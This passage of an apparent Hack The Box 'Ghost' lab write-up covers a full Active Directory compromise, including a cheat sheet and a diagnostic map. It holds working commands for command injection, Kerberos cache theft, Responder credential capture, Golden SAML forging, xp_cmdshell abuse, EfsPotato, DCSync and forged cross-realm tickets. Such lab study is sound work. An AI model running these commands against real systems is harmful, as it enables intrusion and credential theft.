The system Impacket version initially failed to select the forged interdomain TGT correctly from the credential cache.
An isolated Impacket 0.12 environment was created:
cd ~/tools
uv venv --python 3.9 impacket-012
source ~/tools/impacket-012/bin/activate
uv pip install 'impacket==0.12.0'Impacket 0.12 still imports pkg_resources, which newer Setuptools releases removed.
Pin a compatible version:
uv pip install \
--python ~/tools/impacket-012/bin/python \
'setuptools==80.9.0'Verify:
python -c 'import pkg_resources; from impacket import version; print(version.BANNER)'Expected:
Impacket v0.12.0A deprecation warning about pkg_resources can be ignored inside this isolated compatibility environment.
29. Forging the Interdomain Ticket
Switch to Parrot:
source ~/tools/impacket-012/bin/activate
cd ~/htb/ghostCreate a forged cross-realm ticket:
~/tools/impacket-012/bin/ticketer.py \
-nthash 8351e6db369c51ca82067f560ca5b53a \
-domain-sid S-1-5-21-2034262909-2733679486-179904498 \
-domain corp.ghost.htb \
-extra-sid S-1-5-21-4084500788-938703357-3654145966-519 \
-spn krbtgt/ghost.htb \
ghostadminResult:
Saving ticket in ghostadmin.ccacheLoad:
export KRB5CCNAME="$(realpath ghostadmin.ccache)"
klistExpected:
Default principal:
ghostadmin@CORP.GHOST.HTB
Service principal:
krbtgt/ghost.htb@CORP.GHOST.HTBThe username ghostadmin is a synthetic identity inside the forged ticket and does not need to correspond to an existing user.
30. Obtaining a Parent-Domain CIFS Ticket
The initial identity syntax caused getST.py to search the cache for:
KRBTGT/CORP.GHOST.HTB@CORP.GHOST.HTBThat was wrong. The cache contained:
krbtgt/ghost.htb@CORP.GHOST.HTBThe working identity argument used the parent realm directly:
ghost.htb/ghostadminRequest the CIFS ticket:
KRB5CCNAME="$(realpath ghostadmin.ccache)" \
~/tools/impacket-012/bin/getST.py \
-k \
-no-pass \
-spn cifs/dc01.ghost.htb \
-dc-ip 10.129.231.105 \
'ghost.htb/ghostadmin' \
-debugSuccessful output:
Getting ST for user
Trying to connect to KDC at 10.129.231.105:88
Saving ticket in ghostadmin@cifs_dc01.ghost.htb@GHOST.HTB.ccacheLoad the new service ticket:
export KRB5CCNAME="$(
realpath "$(ls -t *cifs*.ccache | head -1)"
)"
klistExpected:
cifs/dc01.ghost.htb@GHOST.HTBImportant gotcha:
The failed form was:
corp.ghost.htb/ghostadmin@ghost.htbThat caused Impacket to search for the child-domain TGT and eventually fall back to requesting a new TGT for the fake user.
The working form was:
ghost.htb/ghostadmin31. Parent Domain Controller Access
Connect with the forged CIFS ticket:
~/tools/impacket-012/bin/smbclient.py \
-k \
-no-pass \
ghostadmin@dc01.ghost.htbInside the SMB shell:
shares
use C$
cd Users\Administrator\Desktop
ls
get root.txtRead locally:
cat root.txtThis completed the machine.
Optional command execution:
~/tools/impacket-012/bin/psexec.py \
-k \
-no-pass \
ghostadmin@dc01.ghost.htbExpected context:
nt authority\system
DC01đź”— Condensed Attack Chain
Initial Nmap scan ↓ DC services plus Ghost CMS, intranet, Gitea, AD FS, MSSQL, and custom app exposed ↓ Intranet LDAP login tested ↓ Wildcard values accepted for username and secret ↓ JWT issued as kathryn.holland ↓ Intranet behavior used as oracle ↓ gitea_temp_principal secret recovered ↓ Password reuse gives access to internal Gitea ↓ Repositories ghost-dev/blog and ghost-dev/intranet reviewed ↓ Custom posts-public.js extra parameter identified ↓ Path traversal reads /proc/self/environ ↓ DEV_INTRANET_KEY recovered ↓ Intranet source reveals POST /api-dev/scan ↓ X-DEV-INTRANET-KEY required ↓ url inserted into bash -c command ↓ Shell metacharacters provide command injection ↓ Root-controlled filesystem paths enumerated ↓ Active SSH ControlMaster socket found ↓ Existing Florence Ramirez SSH session reused ↓ Access to LINUX-DEV-WS01 ↓ Florence’s /tmp/krb5cc_50 stolen ↓ Kerberos-authenticated SMB enumeration ↓ Writable SMB location identified ↓ slinky shortcut planted ↓ Responder captures Justin Bradley NetNTLMv2 ↓ Hashcat cracks Qwertyuiop1234$$ ↓ WinRM as Justin Bradley ↓ user.txt recovered ↓ BloodHound shows ReadGMSAPassword over ADFS_GMSA$ ↓ gMSA NT hash recovered ↓ WinRM pass-the-hash as ADFS_GMSA$ ↓ Direct MSSQL enumeration lands as guest ↓ No useful impersonation and xp_cmdshell denied ↓ ADFSDump compiled and run on AD FS host ↓ Two DKM candidates and encrypted signing PFX recovered ↓ ADFSDump output saved with large Out-File width ↓ Encrypted PFX and DKM keys extracted locally ↓ Python 3.9 ADFSpoof environment created ↓ DKM candidate 1 fails MAC validation ↓ DKM candidate 2 decrypts signing PFX ↓ Administrator SAML assertion forged ↓ Normal Justin SAML flow intercepted through Burp ↓ POST /adfs/saml/postResponse modified ↓ Forged SAML response accepted ↓ Administrator Ghost Config Panel session obtained ↓ SQL debugger runs locally as web_client ↓ Linked server PRIMARY maps to bridge_corp ↓ bridge_corp can impersonate sa ↓ xp_cmdshell enabled remotely ↓ OS execution as NT SERVICE\MSSQLSERVER on PRIMARY ↓ Netcat downloaded but quarantined ↓ Harmless probe confirms transfer path ↓ Fileless encoded PowerShell reverse shell ↓ SeImpersonatePrivilege confirmed ↓ EfsPotato downloaded as source ↓ Compiled locally with csc.exe ↓ SYSTEM process execution confirmed ↓ Interactive SYSTEM shell obtained on port 4455 ↓ PRIMARY identified as corp.ghost.htb child-domain host ↓ Mimikatz DCSync against child domain ↓ GHOST$ interdomain trust hash recovered ↓ Child and parent domain SIDs collected ↓ Parent Enterprise Admins SID constructed with RID 519 ↓ Cross-realm krbtgt/ghost.htb ticket forged ↓ CIFS service ticket requested for dc01.ghost.htb ↓ SMB access to parent DC C$ share ↓ root.txt recovered
đź§ Key Takeaways
LDAP wildcard behavior can become an authentication bypass when application code treats the first matching directory result as the authenticated user.
A JWT is only evidence of the application’s decision. It does not prove the submitted LDAP credentials were legitimate.
Temporary service principals are high-value. Even if they cannot access the operating system, they may expose private repositories and deployment secrets.
Source review should focus on trust boundaries: filesystem paths, environment variables, shell invocation, internal headers, and authentication decisions.
Configuration and environment disclosure often matter more than direct flag reads. /proc/self/environ exposed the exact development key required by the next application.
Passing user input into bash -c is command injection even if the input is expected to be a URL.
An SSH ControlMaster socket is effectively a live authenticated session. Possession of the socket can be equivalent to possession of the user’s SSH credential.
Kerberos caches under /tmp/krb5cc_* should be checked immediately after compromising a Linux workstation joined to Active Directory.
A Kerberos TGT can unlock SMB, LDAP, BloodHound, and lateral movement without recovering a plaintext password.
A writable SMB share can become a credential-capture primitive through malicious shortcuts, SCF files, or other UNC-loading formats.
NetNTLMv2 is not an NT hash. It must be cracked or relayed before use.
ReadGMSAPassword is frequently equivalent to account compromise. The resulting managed password can be converted to an NT hash and used with pass-the-hash where the account has logon rights.
Direct MSSQL access may be a dead end even when authentication succeeds. Landing as guest with no impersonation rights should trigger a stop condition.
Service identities are often more valuable for the services they control than for their local group memberships. ADFS_GMSA$ could access the AD FS signing configuration.
Golden SAML is application-independent within the affected AD FS trust. Once the signing key is compromised, assertions can be forged without knowing the target user’s password.
Always capture full ADFSDump output to disk. Long encrypted values are easy to truncate in an interactive terminal.
When multiple DKM values are returned, authenticated decryption provides a reliable test. A MAC mismatch rules out the candidate.
Do not paste shell commands into Burp parameters. Paste the command’s output.
Existing service-provider cookies can prevent a new SAML flow from occurring. Clear both service-provider and identity-provider session data.
A linked MSSQL server can change identity. The local login was web_client, while the remote mapping was bridge_corp.
IMPERSONATE sa over a linked server is effectively remote SQL sysadmin access.
An HTTP 200 only proves the payload was transferred. Endpoint protection may delete it immediately afterward.
Harmless probe files are useful for distinguishing permissions/network problems from antivirus removal.
Web application timeouts do not necessarily mean OS-level commands failed. Check listeners and side effects before rerunning payloads.
NT SERVICE\MSSQLSERVER is not Administrator, even when the SQL login was sa.
SeImpersonatePrivilege should immediately trigger testing of a current named-pipe impersonation technique in an authorized lab.
Raw reverse shells may not preserve PowerShell multiline continuation syntax. Use one-line commands when compiling or launching tools.
SYSTEM on a child-domain controller does not automatically mean compromise of the forest root or parent-domain controller.
Interdomain trust accounts such as GHOST$ contain cryptographic material that can be used to construct cross-realm Kerberos tickets.
The domain SID used for normal ticket fields and the extra SID used for Enterprise Admins belong to different domains in this attack.
The Enterprise Admins RID is:
519Kerberos cache selection depends on the requested realm and principal syntax. A valid ticket can be ignored if Impacket searches for the wrong krbtgt SPN.
The final working getST.py identity was:
ghost.htb/ghostadminnot:
corp.ghost.htb/ghostadmin@ghost.htb⚡ Commands Cheat Sheet
Host setup
echo '10.129.231.105 ghost.htb DC01.ghost.htb core.ghost.htb intranet.ghost.htb gitea.ghost.htb bitbucket.ghost.htb federation.ghost.htb' \
| sudo tee -a /etc/hostsNmap
sudo nmap -sC -sV -vv \
-oA nmap/ghost \
10.129.231.105sudo nmap -p- --min-rate=800 -T3 -vv \
-oA nmap/ghost-full \
10.129.231.105Development key command injection
curl -s -X POST \
'http://intranet.ghost.htb:8008/api-dev/scan' \
-H 'Content-Type: application/json' \
-H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' \
--data '{"url":"http://127.0.0.1; id"}'ControlMaster reuse
SOCK='/root/.ssh/controlmaster/florence.ramirez@ghost.htb@dev-workstation:22'
ssh -S "$SOCK" \
florence.ramirez@dev-workstationKerberos cache
KRB5CCNAME=FILE:/tmp/krb5cc_50 klist
base64 -w0 /tmp/krb5cc_50echo '[BASE64]' | base64 -d > florence.ccache
export KRB5CCNAME="$(realpath florence.ccache)"
klistResponder and slinky
sudo responder -I tun0 -vnxc smb dc01.ghost.htb \
-k \
--use-kcache \
-M slinky \
-o SERVER=10.10.14.52 NAME=importantHashcat
hashcat -m 5600 bradley.hash [WORDLIST]
hashcat -m 5600 bradley.hash --showWinRM as Justin
evil-winrm \
-i dc01.ghost.htb \
-u 'justin.bradley' \
-p 'Qwertyuiop1234$$'Retrieve gMSA
nxc ldap dc01.ghost.htb \
-u 'justin.bradley' \
-p 'Qwertyuiop1234$$' \
--gmsaWinRM as ADFS gMSA
evil-winrm \
-i dc01.ghost.htb \
-u 'ADFS_GMSA$' \
-H '16b9766667b1e9f8d4c315a11707c497'Build ADFSDump
cd ~/tools/ad
git clone https://github.com/mandiant/ADFSDump.git
cd ADFSDump
xbuild ADFSDump.sln /p:Configuration=ReleaseSave ADFSDump output
.\ADFSDump.exe |
Out-File .\adfsdump.txt -Encoding ascii -Width 20000Extract encrypted signing blob
awk '
/Encrypted Token Signing Key Begin/ {capture=1; next}
/Encrypted Token Signing Key End/ {capture=0}
capture
' adfsdump.txt |
tr -d '\r\n ' > saml/encrypted_pfx.b64
base64 -d saml/encrypted_pfx.b64 \
> saml/encrypted_pfx.binConvert DKM key
echo '[HYPHENATED_DKM_KEY]' |
tr -d '-' |
xxd -r -p > saml/dkm.binADFSpoof environment
uv python install 3.9
uv venv --python 3.9 .venv
source .venv/bin/activate
uv pip install -r requirements-py39.txtDecrypt PFX
python ADFSpoof.py \
-b ~/htb/ghost/saml/encrypted_pfx.bin \
~/htb/ghost/saml/dkm2.bin \
dump \
--path ~/htb/ghost/saml/token2.pfxForge SAML
python ADFSpoof.py \
-b ~/htb/ghost/saml/encrypted_pfx.bin \
~/htb/ghost/saml/dkm2.bin \
-s core.ghost.htb \
saml2 \
--endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' \
--nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' \
--nameid 'Administrator@ghost.htb' \
--rpidentifier 'https://core.ghost.htb:8443' \
--assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>' \
| tail -n 1 \
> ~/htb/ghost/saml/administrator_saml.txtLinked SQL identities
SELECT CURRENT_USER AS result;EXEC sp_linkedservers;SELECT *
FROM OPENQUERY(
"PRIMARY",
'SELECT CURRENT_USER AS result'
);Enable xp_cmdshell
EXECUTE('
EXECUTE AS LOGIN=''sa'';
EXEC sp_configure "show advanced options", 1;
RECONFIGURE;
EXEC sp_configure "xp_cmdshell", 1;
RECONFIGURE;
') AT [PRIMARY];Confirm OS identity
EXECUTE('
EXECUTE AS LOGIN=''sa'';
EXEC xp_cmdshell "whoami";
') AT [PRIMARY];EfsPotato compile
& 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /out:C:\ProgramData\EfsPotato.exe C:\ProgramData\EfsPotato.cs /nowarn:1691,618EfsPotato SYSTEM proof
C:\ProgramData\EfsPotato.exe "cmd.exe /c whoami > C:\ProgramData\system-check.txt"
Get-Content C:\ProgramData\system-check.txtChild-domain DCSync
& C:\ProgramData\m.exe "lsadump::dcsync /domain:corp.ghost.htb /all /csv" "exit" |
Tee-Object C:\ProgramData\dcsync.txtDomain SIDs
Import-Module ActiveDirectory
(Get-ADDomain -Identity corp.ghost.htb).DomainSID.Value
(Get-ADDomain -Identity ghost.htb).DomainSID.ValueForge cross-realm ticket
~/tools/impacket-012/bin/ticketer.py \
-nthash 8351e6db369c51ca82067f560ca5b53a \
-domain-sid S-1-5-21-2034262909-2733679486-179904498 \
-domain corp.ghost.htb \
-extra-sid S-1-5-21-4084500788-938703357-3654145966-519 \
-spn krbtgt/ghost.htb \
ghostadminRequest CIFS ticket
export KRB5CCNAME="$(realpath ghostadmin.ccache)"
~/tools/impacket-012/bin/getST.py \
-k \
-no-pass \
-spn cifs/dc01.ghost.htb \
-dc-ip 10.129.231.105 \
'ghost.htb/ghostadmin' \
-debugParent DC SMB access
export KRB5CCNAME="$(
realpath "$(ls -t *cifs*.ccache | head -1)"
)"~/tools/impacket-012/bin/smbclient.py \
-k \
-no-pass \
ghostadmin@dc01.ghost.htbInside:
shares
use C$
cd Users\Administrator\Desktop
ls
get root.txtđź§ Diagnostic Map
Symptom: LDAP login succeeds with * values
Meaning: Application LDAP query accepts wildcard matching
Next: Decode the issued JWT and enumerate authenticated functionality
Symptom: JWT identifies kathryn.holland
Meaning: Application selected an LDAP record and treated it as authenticated
Next: Use the authenticated application as an oracle and enumerate internal principals
Symptom: Gitea principal works only against internal Gitea Meaning: It is an application/service credential, not necessarily an OS account Next: Review private repositories for trust-boundary flaws
Symptom: posts-public.js reads from /var/lib/ghost/extra/
Meaning: Custom filesystem behavior exists in the Ghost content API
Next: Test traversal through extra
Symptom: /proc/self/environ is readable
Meaning: Process environment and deployment secrets are exposed
Next: Search for API keys, database credentials, JWT secrets, and internal hostnames
Symptom: DEV_INTRANET_KEY is present
Meaning: Protected development API can be called
Next: Review source for the exact header and endpoint
Symptom: url is inserted into bash -c
Meaning: Shell command injection
Next: Prove with id before launching a shell
Symptom: Active file exists under /root/.ssh/controlmaster/
Meaning: Reusable authenticated SSH master connection may exist
Next: Use ssh -S <socket> -O check
Symptom: SSH opens without a password Meaning: ControlMaster hijack succeeded Next: Enumerate identity, host, tickets, and caches
Symptom: /tmp/krb5cc_50 contains Florence’s TGT
Meaning: Florence’s domain identity can be reused
Next: Exfiltrate the cache and use Kerberos-aware tooling
Symptom: SMB shortcut causes Responder authentication Meaning: A user browsed or rendered the malicious link Next: Save the complete NetNTLMv2 line and crack with mode 5600
Symptom: Hashcat says token-length or separator error Meaning: Captured hash was wrapped or truncated Next: Save it as one uninterrupted line
Symptom: Justin WinRM works Meaning: Valid domain foothold and user flag access Next: Run BloodHound and inspect outbound rights
Symptom: BloodHound shows ReadGMSAPassword
Meaning: Justin can retrieve the gMSA managed secret
Next: Use NetExec --gmsa
Symptom: gMSA hash works with SMB but not WinRM Meaning: Account may lack Remote Management Users or logon rights Next: Validate supported protocols individually
Symptom: Evil-WinRM rejects the gMSA hash
Meaning: Wrong option or account syntax may be used
Next: Preserve $ and use -H, not -p
Symptom: MSSQL login lands as guest@master
Meaning: Authentication succeeded but SQL privileges are minimal
Next: Run enum_impersonate and enum_links; stop if both are unhelpful
Symptom: xp_cmdshell returns permission denied
Meaning: Direct gMSA SQL context is not sysadmin
Next: Pivot to the AD FS signing-key path
Symptom: ADFSDump terminal output appears truncated
Meaning: Encrypted signing-key blob exceeded terminal width/history
Next: Redirect through Out-File -Width 20000
Symptom: download appended to PowerShell command errors
Meaning: Evil-WinRM’s download is a client command, not PowerShell syntax
Next: Run Out-File and download as separate commands
Symptom: ADFSpoof install fails on cryptography==2.9.2
Meaning: Original dependency is incompatible with Python 3.13
Next: Use isolated Python 3.9 and compatible pins
Symptom: Resolver says signxml==2.6.0 conflicts with cryptography 3.4.8
Meaning: signxml requires cryptography<3
Next: Use compatible signxml==2.9.0 and pyOpenSSL==20.0.1
Symptom: Calculated MAC did not match anticipated MAC
Meaning: Wrong DKM candidate
Next: Test the next 32-byte DKM key
Symptom: file token2.pfx says only data
Meaning: Generic file detection is inconclusive
Next: Validate with openssl pkcs12
Symptom: Browser immediately loads /unauthorized as Justin
Meaning: Existing connect.sid bypassed the fresh SAML flow
Next: Clear cookies or open a clean Burp browser
Symptom: Burp shows GET / only
Meaning: Authentication flow has not completed
Next: Follow redirects and submit a legitimate AD FS login
Symptom: Burp intercepts /adfs/ls/?SAMLRequest=...
Meaning: This is the request entering AD FS
Next: Forward unchanged and wait for /adfs/saml/postResponse
Symptom: Body says SAMLResponse=cat ~/...
Meaning: Shell command was pasted literally
Next: Copy the file contents with xclip and paste the encoded token
Symptom: New connect.sid is issued
Meaning: Forged SAML assertion was accepted
Next: Forward the follow-up GET /
Symptom: SQL current user is web_client
Meaning: Application uses a constrained local SQL login
Next: Enumerate linked servers
Symptom: Remote identity becomes bridge_corp
Meaning: Linked-server login mapping changes the security context
Next: Enumerate remote impersonation permissions
Symptom: bridge_corp can impersonate sa
Meaning: Remote SQL sysadmin takeover
Next: Enable xp_cmdshell under EXECUTE AS LOGIN='sa'
Symptom: Web panel returns an empty result after sp_configure
Meaning: Configuration statements completed without a recordset
Next: Verify with xp_cmdshell whoami
Symptom: HTTP server logs GET /nc64.exe 404
Meaning: Hosted filename does not match requested filename
Next: Rename nc.exe to nc64.exe
Symptom: HTTP server logs 200 but dir says File Not Found
Meaning: Endpoint protection likely quarantined the executable
Next: Transfer a harmless probe and switch to a fileless payload
Symptom: Web SQL request times out Meaning: Reverse-shell process may still be active Next: Check the listener before retrying
Symptom: Reverse shell reports NT SERVICE\MSSQLSERVER
Meaning: OS execution succeeded, but shell is not Administrator
Next: Inspect whoami /priv
Symptom: SeImpersonatePrivilege is enabled
Meaning: Named-pipe token impersonation may yield SYSTEM
Next: Use EfsPotato in the authorized lab
Symptom: C# compiler says no source files specified Meaning: Multiline continuation failed in the raw reverse shell Next: Compile with one continuous command
Symptom: EfsPotato output says process created
Meaning: SYSTEM child process likely launched
Next: Redirect whoami to a file and read it
Symptom: Current shell still says MSSQLSERVER after EfsPotato Meaning: EfsPotato created a child; it did not replace the parent shell Next: Launch a second reverse shell through EfsPotato
Symptom: Port-444 shell hangs while EfsPotato runs Meaning: Parent process remains attached Next: Check the separate port-4455 SYSTEM listener
Symptom: root.txt cannot be found on PRIMARY
Meaning: PRIMARY is the child-domain host, not the final parent DC
Next: Extract the interdomain trust secret
Symptom: Mimikatz returns hashes for corp.ghost.htb
Meaning: DCSync against the child domain succeeded
Next: Isolate GHOST$, not only Administrator
Symptom: GHOST$ hash is present
Meaning: Interdomain trust key is compromised
Next: Collect both domain SIDs and forge a cross-realm ticket
Symptom: getST.py searches for KRBTGT/CORP.GHOST.HTB
Meaning: Identity syntax is causing the wrong cache lookup
Next: Use ghost.htb/ghostadmin
Symptom: pkg_resources is missing in Impacket 0.12 venv
Meaning: Setuptools is too new
Next: Pin setuptools==80.9.0
Symptom: CIFS ticket appears in klist
Meaning: Parent-domain service-ticket acquisition succeeded
Next: Connect with Kerberos SMB and access C$
đź”— Related Manual Notes
Field-manual techniques demonstrated on Ghost:
- Nmap_Host_Port_Scanning — initial Windows and application-service mapping
- Nmap_Saving_Results — reproducible initial and full-port scans
- Active_Directory_Enumeration — domain controller and child/parent domain analysis
- LDAP_Injection — wildcard-based application authentication bypass
- JWT_Analysis — identifying the user selected by the vulnerable application
- Source_Code_Review — tracing filesystem access, environment secrets, and command construction
- LFI_Path_Traversal_Bypasses — escaping
/var/lib/ghost/extrathrough the customextraparameter - Linux_Environment_Variables — extracting
DEV_INTRANET_KEYfrom/proc/self/environ - Command_Injection —
bash -cinjection through the intranet scan endpoint - Linux_Remote_Management_SSH_Rsync_RServices — SSH ControlMaster session reuse
- Kerberos_From_Linux — credential-cache discovery, export, and reuse
- SMB_Attacks — writable-share shortcut credential capture
- Responder — NetNTLMv2 capture
- Password_Cracking_Hashcat — NetNTLMv2 mode 5600
- Windows_Remote_Management_WinRM — Justin and gMSA access
- BloodHound_Active_Directory — identifying ReadGMSAPassword
- Group_Managed_Service_Accounts — retrieving and using gMSA secrets
- MSSQL_Enumeration — databases, logins, impersonation, and linked servers
- MSSQL_Linked_Servers — identity mapping and remote execution
- MSSQL_Privilege_Escalation — IMPERSONATE
saandxp_cmdshell - AD_FS_Attacks — ADFSDump and token-signing key extraction
- Golden_SAML — forging Administrator assertions
- Web_Proxies_Request_Manipulation — replacing the
SAMLResponsein Burp - Windows_PrivEsc_Quick_Reference —
whoami /privand SeImpersonatePrivilege - Potato_Attacks — EfsPotato from MSSQLSERVER to SYSTEM
- DCSync — extracting child-domain secrets
- Active_Directory_Domain_Trusts — child-to-parent trust abuse
- Kerberos_Ticket_Forging — cross-realm ticket creation with extra SIDs
- Pass_The_Ticket — CIFS service-ticket use against DC01
- Impacket — ticketer, getST, smbclient, and compatibility environments
📝 Personal Notes
Ghost was the most complex machine in the track so far because each successful step crossed into a different trust boundary.
The initial scan exposed a huge number of services, but most of them were normal domain-controller infrastructure. The actionable attack surface was the set of custom applications running beside Active Directory.
The LDAP login bypass was subtle because it did not produce a shell or a credential. It produced an application session as Kathryn Holland. The useful lesson was to treat the session as an entry into the application’s internal workflow instead of expecting the bypass itself to compromise the domain.
The temporary Gitea principal was another intermediate identity. Its value was access to source code. The source review was what converted a weak application foothold into a reliable path.
The modified posts-public.js file was the first decisive source-code finding. The extra feature looked like harmless custom functionality, but the filesystem path handling allowed traversal into /proc/self/environ.
Reading /proc/self/environ was more valuable than reading /etc/passwd. It exposed the exact DEV_INTRANET_KEY required by the protected development API.
The intranet scan endpoint was a textbook example of why shell wrappers are dangerous. The submitted url value was interpreted in a shell context instead of being handled as inert data.
The SSH ControlMaster discovery was one of the strongest Linux lateral-movement lessons. No password or key was recovered. The active socket itself represented Florence’s authenticated session.
Florence’s Kerberos cache was then a second reusable session artifact. The SSH connection moved us onto the workstation, and the TGT moved us into the Windows domain.
The Justin capture path reinforced that access does not always need to become direct exploitation. Florence’s permissions were enough to place content in a location Justin would access. Windows then voluntarily authenticated to the attacker.
The captured value had to be treated correctly as NetNTLMv2. It was not a reusable NT hash. Hashcat recovered a real password, and that password provided the first conventional Windows shell.
BloodHound immediately justified itself. Justin’s most important right was not local admin or an obvious group membership. It was ReadGMSAPassword over the AD FS service account.
The first MSSQL session was a genuine dead end. Authentication succeeded, but the security context was only guest. The correct response was to enumerate, document the linked server, and stop instead of forcing xp_cmdshell from an account that clearly lacked the permission.
ADFSDump was operationally awkward because its encrypted output was extremely large. Saving it through Out-File -Width 20000 and downloading it was much more reliable than copying from the terminal.
The two DKM values provided a clean decision point. The first failed MAC validation. The second produced a valid PKCS#12 container. That removed guesswork from the decryption stage.
ADFSpoof required a temporary Python 3.9 compatibility environment. This was a useful reminder that exploit tooling frequently depends on old package combinations and should be isolated rather than forced into the main system Python.
The Golden SAML stage was conceptually simple but operationally fragile. The correct POST had to be intercepted, the existing Justin session had to be cleared, and the contents of the forged-response file had to be pasted rather than the shell command used to read it.
The Ghost Config Panel was the point where the earlier MSSQL linked-server clue became useful. The direct gMSA login was weak, but the web application’s local login mapped to bridge_corp on PRIMARY.
The identity transitions mattered:
web_client
→ bridge_corp
→ sa
→ NT SERVICE\MSSQLSERVER
→ NT AUTHORITY\SYSTEMEach transition required a different mechanism and should be documented separately.
The Netcat transfer was a useful troubleshooting case. The HTTP 200 showed that network access and the output path were correct. The missing executable indicated endpoint protection. The harmless probe file confirmed that conclusion.
The web application timing out during the PowerShell payload initially looked like failure. The listener proved otherwise. The correct diagnostic order was to check side effects before changing the payload.
The EfsPotato stage also required careful identity tracking. The current shell remained MSSQLSERVER while the child command ran as SYSTEM. A separate reverse shell was required to obtain an interactive SYSTEM context.
Finding no root.txt on PRIMARY was not another dead end. It revealed that SYSTEM had been obtained on the child-domain host rather than the final parent-domain controller.
The DCSync output contained several powerful hashes, but the critical one was GHOST$. The child-domain Administrator hash would only compromise the child domain. The trust account secret was what made parent-domain escalation possible.
The final Kerberos stage was the most syntax-sensitive part of the machine. The forged ticket itself was correct, but getST.py initially searched for the wrong krbtgt principal because of the identity format.
Changing:
corp.ghost.htb/ghostadmin@ghost.htbto:
ghost.htb/ghostadmincaused Impacket to use the cached cross-realm ticket and successfully request CIFS access to DC01.
Overall methodology:
Enumerate the custom applications separately from the domain-controller services. Test authentication logic, not only credentials. Review source code for trust boundaries. Prefer environment and configuration disclosure over random file reads. Treat active sockets and Kerberos caches as credentials. Use writable shares to influence higher-value users. Distinguish NetNTLMv2 from NT hashes. Run BloodHound immediately after obtaining a domain user. Time-box weak SQL contexts. Protect large binary or Base64 output from terminal truncation. Track every identity transition. Use harmless probes to distinguish network, permissions, and antivirus failures. Remember that child-domain SYSTEM is not forest-root compromise. For cross-domain Kerberos work, verify the exact service principal in klist after every ticket operation.